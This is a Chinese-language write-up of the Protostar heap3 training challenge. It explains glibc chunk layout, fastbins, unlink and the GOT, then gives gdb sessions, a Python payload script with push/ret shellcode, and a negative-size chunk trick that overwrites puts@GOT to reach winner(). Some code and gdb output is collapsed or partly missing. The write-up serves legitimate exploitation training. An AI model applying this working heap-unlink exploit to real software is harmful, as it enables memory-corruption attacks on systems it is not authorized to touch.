二进制安全虚拟机Protostar靶场（8）heap3 Fastbins unlink exploit

前言
这是一个系列文章，之前已经介绍过一些二进制安全的基础知识，这里就不过多重复提及，不熟悉的同学可以去看看我之前写的文章

heap3

程序静态分析

https://exploit.education/protostar/heap-three/

#include #include #include #include #include void winner()#定义了一个名为winner的函数{printf("that wasn't too bad now, was it" />

程序不复杂，但是想弄懂漏洞的机制还是很复杂的

`堆的结构`

在malloc.c 源代码中，malloc_chunk 是这样定义的：

struct malloc_chunk {INTERNAL_SIZE_Tprev_size;INTERNAL_SIZE_Tsize;struct malloc_chunk* fd;struct malloc_chunk* bk;};

malloc 以块（chunk）为单位分配内存，其结构如下：

chunk start：这是内存块的起始地址。在分配内存时，内存管理器会返回指向这个位置之后的一个指针，具体是mem字段。

prev_size：前一个块（previous chunk）的大小。前一个块是空闲的时候，这个字段才有意义，因为它会被用于合并空闲块。

size：当前块的大小，包括所有的元数据和数据区。这个大小通常包括一些标志位，比如当前块是否被分配或者前一个块是否为空闲。

fd (forward pointer)：在空闲块（free chunk）中使用，指向双向空闲列表中的下一个空闲块。这是双向链表的一部分，用于快速查找和合并空闲内存。

bk (backward pointer)：同样在空闲块中使用，指向双向空闲列表中的上一个空闲块。与 fd 一起，这些指针管理空闲内存，使得空闲内存的合并和重新分配更加高效。

data：这是实际分配给用户的内存区域。当程序请求内存时，内存分配器会提供一个指向这部分的指针。

mem：这通常是指向data区域的指针，也是程序实际使用的内存块的起始地址。注意：这个指针通常会按照某种对齐方式进行调整，确保性能最优。

next chunk start：这是下一个内存块的起始地址。内存分配器会使用当前块的size来找到下一个块的起始位置。

`程序动态分析`

用gdb打开程序，在调用mallco，strcpy，free函数的地方下一个断点

user@protostar:/opt/protostar/bin$ gdb heap3GNU gdb (GDB) 7.0.1-debianCopyright (C) 2009 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying"and "show warranty" for details.This GDB was configured as "i486-linux-gnu".For bug reporting instructions, please see:...Reading symbols from /opt/protostar/bin/heap3...done.(gdb) disassemble mainDump of assembler code for function main:0x08048889 :push %ebp0x0804888a :mov%esp,%ebp0x0804888c :and$0xfffffff0,%esp0x0804888f :sub$0x20,%esp0x08048892 :movl $0x20,(%esp)0x08048899 : call 0x8048ff2 0x0804889e : mov%eax,0x14(%esp)0x080488a2 : movl $0x20,(%esp)0x080488a9 : call 0x8048ff2 0x080488ae : mov%eax,0x18(%esp)0x080488b2 : movl $0x20,(%esp)0x080488b9 : call 0x8048ff2 0x080488be : mov%eax,0x1c(%esp)0x080488c2 : mov0xc(%ebp),%eax0x080488c5 : add$0x4,%eax0x080488c8 : mov(%eax),%eax0x080488ca : mov%eax,0x4(%esp)0x080488ce : mov0x14(%esp),%eax0x080488d2 : mov%eax,(%esp)0x080488d5 : call 0x8048750 0x080488da : mov0xc(%ebp),%eax0x080488dd : add$0x8,%eax0x080488e0 : mov(%eax),%eax0x080488e2 : mov%eax,0x4(%esp)0x080488e6 : mov0x18(%esp),%eax0x080488ea : mov%eax,(%esp)0x080488ed :call 0x8048750 0x080488f2 :mov0xc(%ebp),%eax0x080488f5 :add$0xc,%eax0x080488f8 :mov(%eax),%eax0x080488fa :mov%eax,0x4(%esp)0x080488fe :mov0x1c(%esp),%eax0x08048902 :mov%eax,(%esp)0x08048905 :call 0x8048750 0x0804890a :mov0x1c(%esp),%eax0x0804890e :mov%eax,(%esp)0x08048911 :call 0x8049824 0x08048916 :mov0x18(%esp),%eax0x0804891a :mov%eax,(%esp)0x0804891d :call 0x8049824 0x08048922 :mov0x14(%esp),%eax0x08048926 :mov%eax,(%esp)0x08048929 :call 0x8049824 0x0804892e :movl $0x804ac27,(%esp)0x08048935 :call 0x8048790 0x0804893a :leave0x0804893b :retEnd of assembler dump.

(gdb) b *0x0804889eBreakpoint 1 at 0x804889e: file heap3/heap3.c, line 16.(gdb) b *0x080488aeBreakpoint 2 at 0x80488ae: file heap3/heap3.c, line 17.(gdb) b *0x080488beBreakpoint 3 at 0x80488be: file heap3/heap3.c, line 18.(gdb) b *0x080488daBreakpoint 4 at 0x80488da: file heap3/heap3.c, line 21.(gdb) b *0x080488f2Breakpoint 5 at 0x80488f2: file heap3/heap3.c, line 22.(gdb) b *0x0804890aBreakpoint 6 at 0x804890a: file heap3/heap3.c, line 24.(gdb) b *0x08048916Breakpoint 7 at 0x8048916: file heap3/heap3.c, line 25.(gdb) b *0x08048922Breakpoint 8 at 0x8048922: file heap3/heap3.c, line 26.(gdb) b *0x0804892eBreakpoint 9 at 0x804892e: file heap3/heap3.c, line 28.

运行程序，查看堆的地址

(gdb) r AAAAAAAA BBBBBBBB CCCCCCCCStarting program: /opt/protostar/bin/heap3 AAAAAAAA BBBBBBBB CCCCCCCCBreakpoint 1, 0x0804889e in main (argc=4, argv=0xbffff744) at heap3/heap3.c:1616heap3/heap3.c: No such file or directory.in heap3/heap3.c(gdb) info proc mappingsprocess 2452cmdline = '/opt/protostar/bin/heap3'cwd = '/opt/protostar/bin'exe = '/opt/protostar/bin/heap3'Mapped address spaces:Start Addr End Addr Size Offset objfile 0x80480000x804b000 0x30000/opt/protostar/bin/heap3 0x804b0000x804c000 0x1000 0x3000/opt/protostar/bin/heap3 0x804c0000x804d000 0x10000 [heap]0xb7e96000 0xb7e97000 0x100000xb7e97000 0xb7fd5000 0x13e0000 /lib/libc-2.11.2.so0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so0xb7fd9000 0xb7fdc000 0x300000xb7fe0000 0xb7fe2000 0x200000xb7fe2000 0xb7fe3000 0x10000 [vdso]0xb7fe3000 0xb7ffe0000x1b0000 /lib/ld-2.11.2.so0xb7ffe000 0xb7fff000 0x10000x1a000 /lib/ld-2.11.2.so0xb7fff000 0xb8000000 0x10000x1b000 /lib/ld-2.11.2.so0xbffeb000 0xc00000000x150000 [stack]

堆的地址为0x804c000-0x804d000，查看堆

(gdb) x/40x 0x804c0000x804c000:0x000000000x000000290x000000000x000000000x804c010:0x000000000x000000000x000000000x000000000x804c020:0x000000000x000000000x000000000x00000fd90x804c030:0x000000000x000000000x000000000x000000000x804c040:0x000000000x000000000x000000000x000000000x804c050:0x000000000x000000000x000000000x000000000x804c060:0x000000000x000000000x000000000x000000000x804c070:0x000000000x000000000x000000000x000000000x804c080:0x000000000x000000000x000000000x000000000x804c090:0x000000000x000000000x000000000x00000000

堆的突出显示部分是第一个分配的块。我们可以看到prev_size为0，size为0x28+1（40字节，最低有效位+1表示块正在使用），然后是分配内存的32字节。

现在执行了第一次内存分配

然后用define hook-stop参数在每一步操作停下来后，自动的运行我们设置的命令，可以更方便的展示堆空间的操作

(gdb) define hook-stopType commands for when breakpoint 9 is hit, one per line.End with a line saying just "end".>x/i $eip>x/40x 0x804c000>end

输入c执行完内存分配操作

(gdb) cContinuing.0x80488be :mov%eax,0x1c(%esp)0x804c000:0x000000000x000000290x000000000x000000000x804c010:0x000000000x000000000x000000000x000000000x804c020:0x000000000x000000000x000000000x000000290x804c030:0x000000000x000000000x000000000x000000000x804c040:0x000000000x000000000x000000000x000000000x804c050:0x000000000x000000290x000000000x000000000x804c060:0x000000000x000000000x000000000x000000000x804c070:0x000000000x000000000x000000000x00000f890x804c080:0x000000000x000000000x000000000x000000000x804c090:0x000000000x000000000x000000000x00000000Breakpoint 3, 0x080488be in main (argc=4, argv=0xbffff744) at heap3/heap3.c:1818in heap3/heap3.c

现在已经完成了a,b,c的内存分配，继续下一步操作，strcpy会将我们输入的字符串放入堆中

(gdb) cContinuing.0x80488da :mov0xc(%ebp),%eax0x804c000:0x000000000x000000290x414141410x414141410x804c010:0x000000000x000000000x000000000x000000000x804c020:0x000000000x000000000x000000000x000000290x804c030:0x000000000x000000000x000000000x000000000x804c040:0x000000000x000000000x000000000x000000000x804c050:0x000000000x000000290x000000000x000000000x804c060:0x000000000x000000000x000000000x000000000x804c070:0x000000000x000000000x000000000x00000f890x804c080:0x000000000x000000000x000000000x000000000x804c090:0x000000000x000000000x000000000x00000000Breakpoint 4, main (argc=4, argv=0xbffff744) at heap3/heap3.c:2121in heap3/heap3.c

(gdb) cContinuing.0x80488f2 : mov0xc(%ebp),%eax0x804c000:0x000000000x000000290x414141410x414141410x804c010:0x000000000x000000000x000000000x000000000x804c020:0x000000000x000000000x000000000x000000290x804c030:0x424242420x424242420x000000000x000000000x804c040:0x000000000x000000000x000000000x000000000x804c050:0x000000000x000000290x000000000x000000000x804c060:0x000000000x000000000x000000000x000000000x804c070:0x000000000x000000000x000000000x00000f890x804c080:0x000000000x000000000x000000000x000000000x804c090:0x000000000x000000000x000000000x00000000Breakpoint 5, main (argc=4, argv=0xbffff744) at heap3/heap3.c:2222in heap3/heap3.c

(gdb) cContinuing.0x804890a : mov0x1c(%esp),%eax0x804c000:0x000000000x000000290x414141410x414141410x804c010:0x000000000x000000000x000000000x000000000x804c020:0x000000000x000000000x000000000x000000290x804c030:0x424242420x424242420x000000000x000000000x804c040:0x000000000x000000000x000000000x000000000x804c050:0x000000000x000000290x434343430x434343430x804c060:0x000000000x000000000x000000000x000000000x804c070:0x000000000x000000000x000000000x00000f890x804c080:0x000000000x000000000x000000000x000000000x804c090:0x000000000x000000000x000000000x00000000Breakpoint 6, main (argc=4, argv=0xbffff744) at heap3/heap3.c:2424in heap3/heap3.c

输入的字符串已经到了指定的位置，现在就来执行最关键的free操作了，执行完这三个free操作后查看堆

gdb) cContinuing.0x804892e : movl $0x804ac27,(%esp)0x804c000:0x000000000x000000290x0804c0280x414141410x804c010:0x000000000x000000000x000000000x000000000x804c020:0x000000000x000000000x000000000x000000290x804c030:0x0804c0500x424242420x000000000x000000000x804c040:0x000000000x000000000x000000000x000000000x804c050:0x000000000x000000290x000000000x434343430x804c060:0x000000000x000000000x000000000x000000000x804c070:0x000000000x000000000x000000000x00000f890x804c080:0x000000000x000000000x000000000x000000000x804c090:0x000000000x000000000x000000000x00000000Breakpoint 9, main (argc=4, argv=0xbffff744) at heap3/heap3.c:2828in heap3/heap3.c

现在我们看到了一些意想不到的东西。首先，所有data块中的 prev_size 仍然为 0，但它应该包含前一个data块的大小。其次，虽然 fd 正确指向了下一个空闲块（第一个数据块的地址是 0x0804c028，也就是第二个数据块的地址），但 bk 也没有被设置，还显示的是我们输入的字符串。此外，size字段的最小有效位也没有被设置，这到底是怎么回事？

`Fastbins`

在堆内存管理中，尤其是在GNU C库（glibc）的ptmalloc分配器中，Fastbins 是一种特殊类型的free列表（free list），用于优化小块内存的分配和回收。Fastbins 是针对大小固定且经常被分配和释放的小对象设计的，旨在减少对小对象频繁操作时的性能开销

之所以没有按照我们预期的方式运行，是因为分配的缓冲区很小。当块小于 64 字节时（默认情况下），malloc 将使用简化的数据结构（fastbin），并忽略 prev_size、bk 和size位。

`free`

当调用 free 时，如果被释放的数据块旁边有空闲的数据块，free 会将它们合并成一个更大的空闲数据块。空闲块存储在一个双链列表中（暂时忽略 fastbin 块），在合并时，free 会从列表中移除被合并的相邻空闲块，因为它将成为新的、更大的空闲块的一部分

`unlink`

在堆内存管理中，特别是在如ptmalloc（glibc使用的内存分配器）这样的分配器中，unlink操作是指从双向链表中移除一个空闲内存块的过程。这个操作通常在内存回收或内存块合并时发生。

在ptmalloc中，空闲的内存块（也称为"chunk"）通常以双向链表的形式被管理。每个空闲块都有两个指针：

fd（forward pointer）：指向链表中下一个空闲块的指针。 bk（backward pointer）：指向链表中前一个空闲块的指针。

unlink的源代码如下：

#define unlink(P, BK, FD) { \FD = P->fd; \BK = P->bk; \FD->bk = BK;\BK->fd = FD;\}

调用时，第一个参数 P 是要unlink的数据块，参数 BK 和 FD 是用于存储上一个和下一个空闲数据块指针的临时变量。当一个数据块被解除链接时，下一个空闲数据块 P->fd 和上一个空闲数据块 P->bk 会相互指向。

如下图：

P (free chunk)：这是当前被“unlink”（即解除链接）的空闲内存块。它在双向空闲链表中，并且包含了fd（forward pointer，指向下一个块）和bk（backward pointer，指向前一个块）。

BK (previous free chunk)：这是P之前的空闲内存块，它的fd指针指向P。

FD (next free chunk)：这是P之后的空闲内存块，它的bk指针指向P。

`Unlink操作`

当从链表中移除P时，需要进行以下步骤：

调整BK的fd指针： BK块的fd指针需要更新为P的fd指针所指向的块，这就是FD。这样，BK将直接指向FD，跳过了P。

调整FD的bk指针：同时，FD块的bk指针需要更新为P的bk指针所指向的块，也就是BK。这样，FD将直接指向BK，跳过了P。

因此，unlink 基本上是将 P->bk 的值写入地址 (P->fd)+12 处的内存，并将 P->fd 的值写入地址 (P->bk)+8 处的内存。更改后的内存以图中蓝色标出。如果我们能控制 P->fd 和 P->bk 的值，我们就能覆盖任意内存，限制条件是 (P->fd)+12 和 (P->bk)+8 都必须是可写的。

而这个源代码使用了strcpy函数，strcpy函数不会检查目标缓冲区的大小，很容易导致缓冲区溢出

这里还需要用到全局偏移表

`什么是plt(程序联动表)表与got(全局偏移表)表`

这里举一个例子，我们用file工具查看文件信息可以发现

他是动态链接库的，意思是从libc里调用的函数

比如这里的gets函数，他不是二进制文件本身里面自带的，而从本机上的libc库中调用的，这样就能缩小文件体积

而plt表的作用是当程序需要调用一个外部函数时，它首先跳转到PLT表中寻找该函数对应的入口，PLT入口包含跳转指令，然后跳转到GOT表中的相应地址，GOT中的地址会指向解析函数，之后解析函数将实际的函数地址写入GOT表，以便后续直接跳转调用函数

如果我们覆盖了这个程序的printf got表，可以让程序执行printf函数时跳转到winner函数地址

这里puts函数的plt表地址是0x8048790，我们可以查看这个地址，找到put函数的got表地址

gdb将printf函数解析成了put函数，没什么问题，put函数的got表地址为0x804b128

现在的计划现在很清楚了。我们将在堆上的某个地方存储调用 winner() 的 shellcode，然后在一个特制的块上强制合并块并调用unlink。该块的 fd 字段包含 0x0804b11c = (0x0804b128-12)，bk 字段包含 shellcode 的地址。我们不能将 winner() 的地址写入 bk，因为这部分内存是不可写的，而且 BK->fd 也将作为 unlink 的一部分被更新。

`pwn`

`负数size的块`

我们可以用 -4 (0xfffffffc) 作为块大小

当使用 fastbin 时，malloc 会将块大小转换为无符号 int，因此 -4 比 64 大。0xfffffffc 的最小有效位未设置，这表明前一个相邻的数据块是空闲的，程序会调用unlink前一个相邻块的地址将通过从当前块的开头减去-4（即加4）来计算。下一个相邻块的地址将通过从当前块的开头加上-4（即减去4）来计算。它的大小也将为-4。当前分块开始前的值将用于确定下一个相邻分块是否空闲。在个值应该设置为奇数，以避免内存损坏（否则下一个相邻的分块也将作为空闲分块合并的一部分被调用unlink）。

需要注意的是，shellcode 要很短（8 字节或更短），因为 "shellcode 的地址 "+8 处的内存将被 unlink 覆盖。

winner函数地址：

(gdb) p winner$1 = {void (void)} 0x8048864

用汇编指令调用winner函数：

push 0x08048864ret

使用这个网站将汇编指令调用winner函数的指令转化

https://shell-storm.org/online/Online-Assembler-and-Disassembler/

call winner：

\x68\x64\x88\x04\x08\xc3

我们用第三个块来存储我们精心设计的块。我们将把 shellcode 存储在第二个块，并用它来覆盖 prev_size 和最后一个块的大小 0xfffffffc。

#!/usr/bin/pythonimport struct# 输入的第一个参数buf1 = ''buf1 += 'AAAA' # 垃圾字符# 输入的第二个参数buf2 = ''buf2 += '\xff'*16buf2 += "\x68\x64\x88\x04\x08\xc3" # shellcodebuf2 += '\xff'*(32-len(buf2))# 用 -4 覆盖 prev_size 和最后一个块的大小buf2 += struct.pack('I', 0xfffffffc)*2# 输入的第三个参数buf3 = ''buf3 += '\xff'*4 # 垃圾字符buf3 += struct.pack('I', 0x804b128-12) # puts@GOT-12buf3 += struct.pack('I', 0x804c040) # shellcode的地址files = ["/tmp/A", "/tmp/B", "/tmp/C"]#将要输入的参数文件放到/tmp下buffers = [buf1, buf2, buf3]for f_name, buf in zip(files, buffers):写入with open(f_name, 'wb') as f:f.write(buf)

user@protostar:/tmp$ cd /opt/protostar/bin/user@protostar:/opt/protostar/bin$ ./heap3 $(cat /tmp/A) $(cat /tmp/B) $(cat /tmp/C)that wasn't too bad now, was it" />
 成功破解程序，现在我们用gdb来看看堆里是什么样子的
 (gdb) r $(cat /tmp/A) $(cat /tmp/B) $(cat /tmp/C)The program being debugged has been started already.Start it from the beginning? (y or n) y
已分配完内存，然后就是导入文件里的内容
执行free与unlink
(gdb) x/x 0x804b1280x804b128 : 0x0804c040
puts函数的got表地址成功被覆盖成了winner函数的地址
这里推荐LiveOverflow博主的视频教程
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